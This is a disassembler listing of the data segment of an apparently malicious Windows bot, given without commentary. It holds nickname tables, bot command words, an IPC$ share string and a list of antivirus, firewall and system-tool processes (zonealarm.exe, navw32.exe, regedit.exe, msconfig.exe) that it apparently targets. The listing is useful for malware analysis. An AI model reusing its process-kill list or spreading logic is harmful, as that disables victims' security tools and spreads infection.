; "W" dd offset aE_0 ; "E" dd offset aR_0 ; "R" dd offset aT_0 ; "T" dd offset aY ; "Y" dd offset aU_0 ; "U" dd offset aI_0 ; "I" dd offset aO_0 ; "O" dd offset aP_0 ; "P" dd offset aA_0 ; "A" dd offset aS_10 ; "S" dd offset aD_2 ; "D" dd offset aF_0 ; "F" dd offset aG ; "G" dd offset asc_4378DC ; "H" dd offset aJ_0 ; "J" dd offset aK_0 ; "K" dd offset asc_4378D0 ; "L" dd offset aZ ; "Z" dd offset asc_4378C8 ; "X" dd offset aC_3 ; "C" dd offset aV_0 ; "V" dd offset aB ; "B" dd offset aN_0 ; "N" dd offset aM_1 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl_0 ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset aAyla ; "AYLA-" dd offset off_43764C dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_4374B8 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_4431D8 dd offset aSex ; DATA XREF: sub_41A293+41r ; sub_41A293+EBr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot_0 ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex_0 ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset aB_0 ; "b" dd offset aC ; "c" dd offset aD_0 ; "d" dd offset aE ; "e" dd offset aF_1 ; "f" dd offset aG_0 ; "g" dd offset asc_437920 ; "h" dd offset aI ; "i" dd offset a_ ; "_" dd offset aJ ; "j" dd offset aK ; "k" dd offset asc_42FA20 ; "l" dd offset aM_0 ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset aW_0 ; "w" dd offset asc_437918 ; "x" dd offset aY_0 ; "y" dd offset aZ_0 ; "z" dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset aZ_0 ; "z" dd offset aG_0 ; "g" dd offset aS_5 ; "s" dd offset aQ ; "q" dd offset off_4372D8 dd offset aBbl ; "|bbl" dd offset byte_42B633 dd offset byte_42B633 dd offset a___0 ; "_|_" dd offset byte_42B633 dd offset byte_42B633 dd offset byte_42B633 dd offset byte_42B633 dd offset aF_0 ; "F" dd offset aM_1 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF ; "^^^f^" dd offset aB_0 ; "b" dd offset byte_42B633 dd offset aSleeping ; "Sleeping" dd offset byte_42B633 dd offset byte_42B633 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset byte_42B633 dd offset byte_42B633 dd offset asc_4378C8 ; "X" dd offset byte_42B633 dd offset aBoy ; "BOY" dd offset aGirl ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset aTot ; "tot" dd offset aLol ; "lol" dd offset aLoloA ; "lolo|a|" dd offset aSex4free ; "|sex4free|" dd offset a4us ; "|4us|" dd offset a4you ; "{4you}" dd offset dword_4371F0+38h dd offset dword_4371F0+34h dd offset dword_4371F0+30h dword_443370 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_41AA0A+A6o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4433BC dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_41AA0A+E5o dword_4433D8 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 ; DATA XREF: sub_41AA0A+11Ao dword_4433EC dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_41AA0A+141o off_443400 dd offset aAdd ; DATA XREF: sub_41BF46+59r ; sub_41BFBE+4Ar ... ; "Add" off_443404 dd offset aAdded ; DATA XREF: sub_41BF46+2Dr ; sub_41BFBE+7Cr ... ; "Added" dword_443408 dd 0 ; DATA XREF: sub_41BF46+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 437B98h, 437B90h, 2, 437B84h, 437B78h, 3, 0 dd 7530h, 0 off_443460 dd offset aRegedit_exe ; DATA XREF: sub_41C444:loc_41C50Cr ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe_0 ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset aSysinfo_exe ; "sysinfo.exe" dd offset aMscvb32_exe ; "mscvb32.exe" dd offset aMsblast_exe ; "MSBLAST.exe" dd offset aTeekids_exe ; "teekids.exe" dd offset aPenis32_exe ; "Penis32.exe" dd offset aBbeagle_exe ; "bbeagle.exe" dd offset aSysmonxp_exe ; "SysMonXP.exe" dd offset aWinupd_exe ; "winupd.exe" dd offset aWinsys_exe ; "winsys.exe" dd offset aSsate_exe ; "ssate.exe" dd offset aRate_exe ; "rate.exe" dd offset aD3dupdate_exe ; "d3dupdate.exe" dd offset aIrun4_exe ; "irun4.exe" dd offset aI11r54n4_exe ; "i11r54n4.exe" off_4434C0 dd offset aIpc ; DATA XREF: seg000:loc_41CD3Er ; seg000:0041CD4Cr ... ; "IPC$" dword_4434C4 dd 0 ; DATA XREF: seg000:loc_41D02Cr dd offset dword_438B08+10h align 10h dd offset dword_438B08+0Ch dd offset dword_438B08+8 dd offset dword_438B08+4 dd offset dword_438B08 byte_4434E0 db 63h ; DATA XREF: seg000:0041DF27o ; seg000:0041DF41r ... db 6Dh, 64h, 0 aExit db 'exit',0 ; DATA XREF: seg000:0041E0A2o ; seg000:0041E0B7r align 10h dword_4434F0 dd 6B0Eh ; DATA XREF: sub_41ECD4+4w sub_41ECDEr ... align 10h dd offset dword_4E2F20 align 8 dd offset dword_4E2F20 dd 101h, 0FFFFFFFFh, 0 dd 1000h, 0 dword_443520 dd 3 dup(0) ; DATA XREF: sub_40E3B2+17Co ; sub_422124+53o ... dd 2, 0FFFFFFFFh, 3 dup(0) dword_443540 dd 3 dup(0) ; DATA XREF: sub_422124+5Bo ; sub_422C6E:loc_422C8Co dd 2, 0FFFFFFFFh, 8Bh dup(0) dd 9875h, 9873h off_443788 dd offset sub_41FE1A ; DATA XREF: sub_41F146r dd offset byte_41FDE1 dd offset byte_41FDE1 dword_443794 dd 19930520h, 3 dup(0) ; DATA XREF: sub_420341+2o ; sub_42034A+2o dd offset dword_42555C align 10h dword_4437B0 dd 1 ; DATA XREF: sub_40F87A+68r ; sub_41EAB4:loc_41EAC7r ... byte_4437B4 db 2Eh ; DATA XREF: sub_423327:loc_423747r ; sub_423327+447r ... align 4 dd 1, 0 off_4437C0 dd offset sub_41F282 ; DATA XREF: sub_420CE8+1Cr dword_4437C4 dd 2 ; DATA XREF: sub_426069+58r ; sub_4261E0+Er ... dd 10h off_4437CC dd offset aNull ; DATA XREF: sub_4222C8:loc_4226C0r ; sub_4222C8+51Cr ; "(null)" off_4437D0 dd offset aNull_0 ; DATA XREF: sub_4222C8+2D8r ; "(null)" dword_4437D4 dd 878D59B4h ; DATA XREF: sub_41E7B2+6r ; sub_41FFBA+2Dr ... off_4437D8 dd offset asc_439660 ; DATA XREF: sub_41EAB4:loc_41EADFr ; sub_41EAB4:loc_41EB74r ... ; " ((((( H" off_4437DC dd offset word_439862 ; DATA XREF: sub_429DD7+18r dword_4437E0 dd 1 ; DATA XREF: sub_422C0F:loc_422C1Ar dword_4437E4 dd 16h ; DATA XREF: sub_422C0F:loc_422C3Er dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch byte_443948 db 1 ; DATA XREF: sub_422F16+120r db 2, 4, 8 align 10h dword_443950 dd 3A4h ; DATA XREF: sub_422F16:loc_422F91r dword_443954 dd 82798260h ; DATA XREF: sub_422F16+15Cr dd 21h, 0 dword_443960 dd 0DFA6h ; DATA XREF: sub_422F16+100r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_443A40 dd 0FFFFFFFFh, 0A80h ; DATA XREF: sub_421C63:loc_421CE6o ; sub_422124:loc_4221E1o off_443A48 dd offset sub_427274 ; DATA XREF: sub_424391+11Ar ; sub_424391+1D5r ... dword_443A4C dd 173Fh ; DATA XREF: sub_424720+Dr off_443A50 dd offset sub_424B83 ; DATA XREF: sub_41FDE2+5w ; sub_4222C8+476r off_443A54 dd offset sub_42484B ; DATA XREF: sub_41FDE2+Aw ; sub_4222C8+4A2r off_443A58 dd offset sub_4248B0 ; DATA XREF: sub_41FDE2+14w ; sub_423327+5B5r off_443A5C dd offset sub_4247F3 ; DATA XREF: sub_41FDE2+1Ew ; sub_4222C8+491r off_443A60 dd offset word_424896 ; DATA XREF: sub_41FDE2+28w off_443A64 dd offset sub_424B83 ; DATA XREF: sub_41FDE2+32w dd offset dword_42555C dd offset sub_4254B5 off_443A70 dd offset sub_4254B5 ; DATA XREF: sub_4254E2+Cr align 10h dword_443A80 dd 1B3Fh ; DATA XREF: sub_4255CA+Dr dword_443A84 dd 1 ; DATA XREF: sub_420B27+18r dword_443A88 dd 2 ; DATA XREF: sub_426069:loc_42608Fr ; sub_426069+3Ar off_443A8C dd offset aR6002FloatingP ; DATA XREF: sub_426069+D5r ; sub_426069+112r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 439F9Ch, 9, 439F70h, 0Ah, 439ED8h, 10h, 439EACh dd 11h, 439E7Ch, 12h, 439E58h, 13h, 439E2Ch, 18h, 439DF4h dd 19h, 439DCCh, 1Ah, 439D94h, 1Bh, 439D5Ch, 1Ch, 439D34h dd 1Dh, 439C90h, 78h, 439C7Ch, 79h, 439C6Ch, 7Ah, 439C5Ch dd 0FCh, 4348E8h, 0FFh, 439C4Ch dword_443B20 dd 0C0000005h, 0Bh, 0 ; DATA XREF: seg000:00426225o ; sub_429276+6o dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_443B98 dd 3 ; DATA XREF: seg000:0042629Dr ; sub_4292AF+C4r dword_443B9C dd 7 ; DATA XREF: seg000:004262A2r ; sub_4292AF+C9r dword_443BA0 dd 0Ah ; DATA XREF: seg000:0042621Fr ; sub_429276r dword_443BA4 dd 8Ch ; DATA XREF: seg000:004262CBr ; seg000:004262D3w ... dword_443BA8 dd 2694h ; DATA XREF: sub_427833+3r ; sub_427885+5Dr align 10h dword_443BB0 dd 14h ; DATA XREF: sub_427793:loc_42779Br off_443BB4 dd offset aExp ; DATA XREF: sub_427793:loc_42780Dr ; "exp" dd 1Dh, 439B38h, 1Ah, 42F530h, 1Bh, 439B3Ch, 1Fh, 43A2A0h dd 13h, 43A298h, 21h, 43A290h, 0Eh, 43A288h, 0Dh, 43A280h dd 0Fh, 439B00h, 10h, 43A278h, 5, 43A270h, 1Eh, 43A26Ch dd 12h, 43A268h, 20h, 43A264h, 0Ch, 439B08h, 0Bh, 439B10h dd 15h, 43A25Ch, 1Ch, 439B18h, 19h, 43A254h, 11h, 43A24Ch dd 18h, 43A244h, 16h, 43A23Ch, 17h, 43A234h, 22h, 43A230h dd 23h, 43A22Ch, 24h, 43A228h, 25h, 43A220h, 26h, 43A214h dbl_443C98 dq 1.797693134862316e308 ; DATA XREF: sub_42751C+BCr ; sub_42751C:loc_42760Ar ... dd 0 dd 0FFF80000h dbl_443CA8 dq 1.797693134862316e308 ; DATA XREF: sub_42751C+93r ; sub_42751C:loc_4275E0r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_443CC0 dt 2.3562723457267347066e313 ; DATA XREF: sub_427ACA+Br ; sub_427ACA+1Er align 4 tbyte_443CCC dt 1.9149954921904370718e-1233 ; DATA XREF: sub_427ACA+30r align 4 dword_443CD8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_427E18o dword_443CF0 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_427E2Eo dword_443D08 dd 2 dup(0) ; DATA XREF: sub_42968C+Co dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) dd 400FC350h, 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_443E68 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_42968C+23o dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_443FC4 dd offset off_43A388 ; DATA XREF: seg001:0043A588o ; seg001:0043A6E8o dd 0 a_?avexception@ db '.?AVexception@@',0 off_443FDC dd offset off_43A388 ; DATA XREF: seg001:off_43A440o ; seg001:0043A480o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_443FFC dd offset off_43A388 ; DATA XREF: seg001:off_43A488o ; seg001:0043A4CCo ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_44401C dd offset off_43A388 ; DATA XREF: seg001:off_43A4D4o ; seg001:0043A518o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_44403C dd offset off_43A388 ; DATA XREF: seg001:off_43A520o ; seg001:0043A55Co dd 0 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dword_444060 dd 0 ; DATA XREF: seg000:004011D7o dword_444064 dd 71AB5690h ; DATA XREF: sub_4012D6+61Dw ; sub_4012D6+76Cr ... dword_444068 dd 71AB157Eh ; DATA XREF: sub_4012D6+678w ; sub_4012D6+7A4r ... dword_44406C dd 71C574FAh ; DATA XREF: sub_4012D6+9BEw ; sub_4012D6+A33r ... dword_444070 dd 7620E8C3h ; DATA XREF: sub_4012D6+859w ; sub_4012D6+8ACr dword_444074 dd 71AB5A01h ; DATA XREF: sub_4012D6+540w ; sub_4012D6+6C4r ... dword_444078 dd 762211EFh ; DATA XREF: sub_4012D6+7FEw ; sub_4012D6+86Dr dword_44407C dd 77E6C0E3h ; DATA XREF: sub_4012D6+8Cw ; sub_4012D6+E2r ... dword_444080 dd 77D5E303h ; DATA XREF: sub_4012D6+1A6w ; sub_4012D6+1E2r ... dword_444084 dd 77D45B19h ; DATA XREF: sub_4012D6+172w ; sub_4012D6+1C2r ... dword_444088 dd 71AB1444h ; DATA XREF: sub_4012D6+624w ; sub_4012D6+774r dword_44408C dd 77C71BB0h ; DATA XREF: sub_4012D6+48Dw ; sub_4012D6+4DBr ... dword_444090 dd 71B28D0Dh ; DATA XREF: sub_4012D6+B50w ; sub_40C979+A3r dword_444094 dd 71AB155Ah ; DATA XREF: sub_4012D6+59Bw ; sub_4012D6+70Cr ... dword_444098 dd 7620AFB6h ; DATA XREF: sub_4012D6+83Fw ; sub_4012D6+873r dword_44409C dd 77D5E310h ; DATA XREF: sub_4012D6+18Cw ; sub_4012D6+1D2r ... dword_4440A0 dd 77D4932Ch ; DATA XREF: sub_4012D6+206w ; sub_4012D6+227r dword_4440A4 dd 77EBA6E9h ; DATA XREF: sub_4012D6+58w ; sub_4012D6+CAr ... dword_4440A8 dd 71C4A1B4h ; DATA XREF: sub_4012D6+9A4w ; sub_4012D6+A23r ... dword_4440AC dd 71AB3E5Dh ; DATA XREF: sub_4012D6+5A8w ; sub_4012D6+718r ... dword_4440B0 dd 77D5C13Ah ; DATA XREF: sub_4012D6+220w ; sub_4012D6+23Cr dword_4440B4 dd 1F7BA3A9h ; DATA XREF: sub_4012D6+BF4w ; sub_4012D6+C2Fr dword_4440B8 dd 77DD23D7h ; DATA XREF: sub_4012D6+2A5w ; sub_4012D6+2F0r ... dword_4440BC dd 71AB868Dh ; DATA XREF: sub_4012D6+65Ew ; sub_4012D6+794r ... dword_4440C0 dd 77D4456Bh ; DATA XREF: sub_4012D6+22Dw dword_4440C4 dd 1F7B9D96h ; DATA XREF: sub_4012D6+C28w dword_4440C8 dd 71C4502Ch ; DATA XREF: sub_4012D6+9CBw ; sub_4012D6+A3Br ... dword_4440CC dd 71AB1ED3h ; DATA XREF: sub_4012D6+610w ; sub_4012D6+764r ... dword_4440D0 dd 773F97B0h ; DATA XREF: sub_4012D6+BAAw dword_4440D4 dd 77E78C17h ; DATA XREF: sub_4012D6+31w ; sub_4012D6+ADr ... dword_4440D8 dd 71B2A381h ; DATA XREF: sub_4012D6+B43w ; sub_4012D6+B5Fr ... dword_4440DC dd 71C21CA3h ; DATA XREF: sub_4012D6+A0Cw ; sub_40F87A+8Br ... dword_4440E0 dd 71C453F8h ; DATA XREF: sub_4012D6+9E5w ; sub_4012D6+A4Br ... dword_4440E4 dd 77DD59F0h ; DATA XREF: sub_401000+49r ; sub_4012D6+298w ... dword_4440E8 dd 71C2498Bh ; DATA XREF: sub_4012D6+97Dw ; sub_4012D6+A06r ... dword_4440EC dd 71C4576Ch ; DATA XREF: sub_4012D6+9F2w ; sub_4012D6+A53r ... dword_4440F0 dd 77EBB1E7h ; DATA XREF: sub_4012D6+3Ew ; sub_4012D6+BAr ... dword_4440F4 dd 77E2C1B3h ; DATA XREF: sub_4012D6+399w ; sub_4012D6+3DFr ... dword_4440F8 dd 77D49A11h ; DATA XREF: sub_4012D6+17Fw ; sub_4012D6+1CAr ... dword_4440FC dd 77E686CCh ; DATA XREF: sub_4012D6+72w ; sub_4012D6+D2r ... dword_444100 dd 71AB3C22h ; DATA XREF: sub_4012D6+58Ew ; sub_4012D6+700r ... dword_444104 dd 71C24870h ; DATA XREF: sub_4012D6+98Aw ; sub_4012D6+A13r ... dword_444108 dd 76214750h ; DATA XREF: sub_4012D6+84Cw ; sub_4012D6+8A4r dword_44410C dd 76D674FAh ; DATA XREF: sub_4012D6+ADFw ; sub_4012D6+AE6r ... dword_444110 dd 71AB41DAh ; DATA XREF: sub_4012D6+533w ; sub_4012D6+6B3r ... dword_444114 dd 71C3516Ah ; DATA XREF: sub_4012D6+9FFw ; sub_4012D6+A5Br ... dword_444118 dd 77EBA994h ; DATA XREF: sub_4012D6+65w ; sub_41C444+158r dword_44411C dd 77E09070h ; DATA XREF: sub_4012D6+2D9w ; sub_41B065+4Fr dword_444120 dd 71AB3F8Dh ; DATA XREF: sub_4012D6+66Bw ; sub_4012D6+79Cr ... dword_444124 dd 77E6CBF9h ; DATA XREF: sub_4012D6+99w ; sub_4012D6+EAr ... dword_444128 dd 1F7CD214h ; DATA XREF: sub_4012D6+C0Ew ; sub_4012D6+C3Fr dword_44412C dd 76206853h ; DATA XREF: sub_4012D6+818w ; sub_4012D6+888r dword_444130 dd 77C72C6Bh ; DATA XREF: sub_4012D6+4A7w ; sub_4012D6+4EBr ... dword_444134 dd 77DDAB2Fh ; DATA XREF: sub_4012D6+3A6w ; sub_4012D6+3E7r ... dword_444138 dd 73B81E3Bh ; DATA XREF: sub_4012D6+C85w ; sub_4012D6+C8Cr ... dword_44413C dd 76206B7Fh ; DATA XREF: sub_4012D6+832w ; sub_4012D6+898r dword_444140 dd 71C214BAh ; DATA XREF: sub_4012D6+9B1w ; sub_4012D6+A2Br ... dword_444144 dd 77DD5C55h ; DATA XREF: sub_401000+55r ; sub_4012D6+2B2w ... dword_444148 dd 71ABF628h ; DATA XREF: sub_4012D6+6ACw dword_44414C dd 77E802FCh ; DATA XREF: sub_4012D6+A6w ; sub_4012D6+F2r dword_444150 dd 77DD590Bh ; DATA XREF: sub_401000+2Ar ; sub_4012D6+28Bw ... dword_444154 dd 77EBA595h ; DATA XREF: sub_4012D6+4Bw ; sub_4012D6+C2r ... dword_444158 dd 76D629BBh ; DATA XREF: sub_4012D6+91Aw ; sub_4012D6+92Er dword_44415C dd 71AB1B7Bh ; DATA XREF: sub_4012D6+55Aw dword_444160 dd 77D4BDCAh ; DATA XREF: sub_4012D6+165w ; 